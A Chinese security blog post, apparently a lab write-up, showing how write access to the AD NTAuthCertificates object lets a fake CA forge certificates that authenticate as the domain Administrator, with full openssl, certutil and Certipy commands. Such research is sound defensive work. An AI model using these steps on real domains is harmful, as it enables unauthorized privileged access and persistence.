从NTAuthCertificates证书伪造到内网穿透

在最近的研究中,我发现没有特殊权限的用户能够更改NTAuthCertificates对象。

对位于配置分区中的 Windows Active Directory 中的NTAuthCertificates对象进行写访问可能会产生重大后果,因为它涉及用于身份验证和安全目的的数字证书的管理。

可能的滥用背后的想法是创建一个欺骗性的自签名证书颁发机构 (CA) 证书并将其包含在NTAuthCertificates对象中。因此,任何由该欺骗性证书签署的欺骗性证书都将被视为合法。

在这篇文章中,我将记录代表从假 CA 获得的任意用户伪造和滥用身份验证证书所需的必要步骤和先决条件。

这就是我的实验室中使用adsiedit.exe工具重现的场景

从NTAuthCertificates证书伪造到内网穿透

从NTAuthCertificates证书伪造到内网穿透

这里用户(在本例中为user11)可以控制该对象,我们首先需要创建一个假的自签名证书颁发机构。使用openssl工具可以轻松完成此操作。

#生成用于签名证书的私钥:
openssl genrsa -out myfakeca.key 2048
#创建并自签名根证书:
openssl req -x509 -new -nodes -key myfakeca.key -sha256 -days 1024 -out myfakeca.crt
自签名根证书时,我们可以将要求我们提供的所有信息留空,但通用名称除外,该通用名称应反映我们的假 CA 名称,如下图所示:

从NTAuthCertificates证书伪造到内网穿透

我们需要将假 CA 的公钥 (myfakeca.crt)添加到存储在 NTAuthCertificates对象中的cACertificate属性中,该属性定义了一个或多个可以在身份验证过程中使用的 CA。这可以使用默认的certutil工具轻松完成:

从NTAuthCertificates证书伪造到内网穿透

让我们检查一下它是否有效:

从NTAuthCertificates证书伪造到内网穿透

现在我们已经添加了伪造的 CA 证书,我们还需要创建相应的 pfx 文件,该文件稍后将在漏洞利用工具中使用。

cat myfakeca.key > myfakeca.pem
cat myfakeca.crt >> myfakeca.pem
openssl pkcs12 -in myfakeca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out myfakeca.pfx
一切都已设置完毕,因此我们可以尝试伪造证书来验证域管理员的身份。
certipy forge -ca-pfx myfakeca.pfx -upn [email protected] -subject 'CN=Administrator,OU=Accounts,OU=T0,OU=Admin,DC=mylab,DC=local'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
一旦我们获得伪造的证书,让我们尝试进行身份验证:
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.212.21
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[] Using principal: [email protected] [] Trying to get TGT…
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)
证书不可信,可能我们需要将假CA添加到DC中的可信证书颁发机构中。这意味着需要高权限才能执行此操作,因此我们必须放弃某种权限升级的想法,并将此技术视为一种可能的持久性机制。将其添加到 DC:

从NTAuthCertificates证书伪造到内网穿透

但是仍然错误

KDC_ERROR_CLIENT_NOT_TRUSTED
这里我们发现NTAuthCertificates中的更改尚未反映在 DC 的本地缓存上(将其更新为加入域的 PC 上的标准用户),该缓存位于注册表项下:
HKLMSOFTWAREMicrosoftEnterpriseCertificatesNTAuthCertificates
在 DC 上,我们只有一个对应于合法 CA 的条目。通常,此条目与组策略更新一致,因此我们可以强制更新:

从NTAuthCertificates证书伪造到内网穿透

再次执行出现了新的问题

KDC_ERROR_CLIENT_NOT_TRUSTED
经过一番研究,我发现可能我的证书吊销列表 (CRL) 存在问题,该列表会定期检查。所以我们必须为我的假 CA 配置一个 CRL 分发点

首先,我们需要创建一个ca.conf 文件。

[ca]
default_ca = MYFAKECA
[crl_ext]
authorityKeyIdentifier=keyid:always
[MYFAKECA]
unique_subject = no
certificate = ./myfakeca.crt
database = ./certindex
private_key = ./myfakeca.key
serial = ./certserial
default_days = 729
default_md = sha1
policy = myca_policy
x509_extensions = myca_extensions
crlnumber = ./crlnumber
default_crl_days = 729
[myca_policy]
commonName = supplied
stateOrProvinceName = supplied
countryName = optional
emailAddress = optional
organizationName = supplied
organizationalUnitName = optional
[myca_extensions]
basicConstraints = CA:false
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
keyUsage = digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth
crlDistributionPoints = URI:http://xxx.xxx.xxx.xxx/root.crl

运行openssl命令来生成必要的文件:

openssl genrsa -out cert.key 2048 
#确保该通用名称与我们的假 CA 不同
openssl req -new -key cert.key -out cert.csr
touch certindex
echo 01 > certserial
echo 01 > crlnumber
openssl ca -batch -config ca .conf -notext -in cert.csr -out cert.crt
openssl pkcs12 -export -out cert.p12 -inkey cert.key -in cert.crt -chain -CAfile myfakeca.crt
openssl ca -config ca.conf -gencrl - keyfile myfakeca.key -cert myfakeca.crt -out rt.crl.pem
openssl crl -inform PEM -in rt.crl.pem -outform DER -out root.crl

最后有了root.crl文件,我们需要的只是设置一个简约的 HTTP 服务器,这里使用python来实现:

python3 -m http.server
然后在certipy中,我们需要指定我们的 CRL 分发点:
certipy forge -ca-pfx myfakeca.pfx -upn [email protected] -subject 'CN=Administrator,OU=Accounts,OU=T0,OU=Admin,DC=mylab,DC=local' -crl 'http://192.168.1.88/root.crl'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
certipy auth -pfx administrator_forged.pfx -dc-ip xxx.xxx.xxx.xxx

DC 正在联系我们的 CRL 分发点,我们能够通过 PKINIT 作为域管理员进行身份验证

现在我们可以访问 DC 上的 C$ 共享:

从NTAuthCertificates证书伪造到内网穿透

在此实验成功

原文始发于微信公众号(山石网科安全技术研究院):从NTAuthCertificates证书伪造到内网穿透

版权声明:admin 发表于 2024年1月5日 下午5:53。
转载请注明:从NTAuthCertificates证书伪造到内网穿透 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...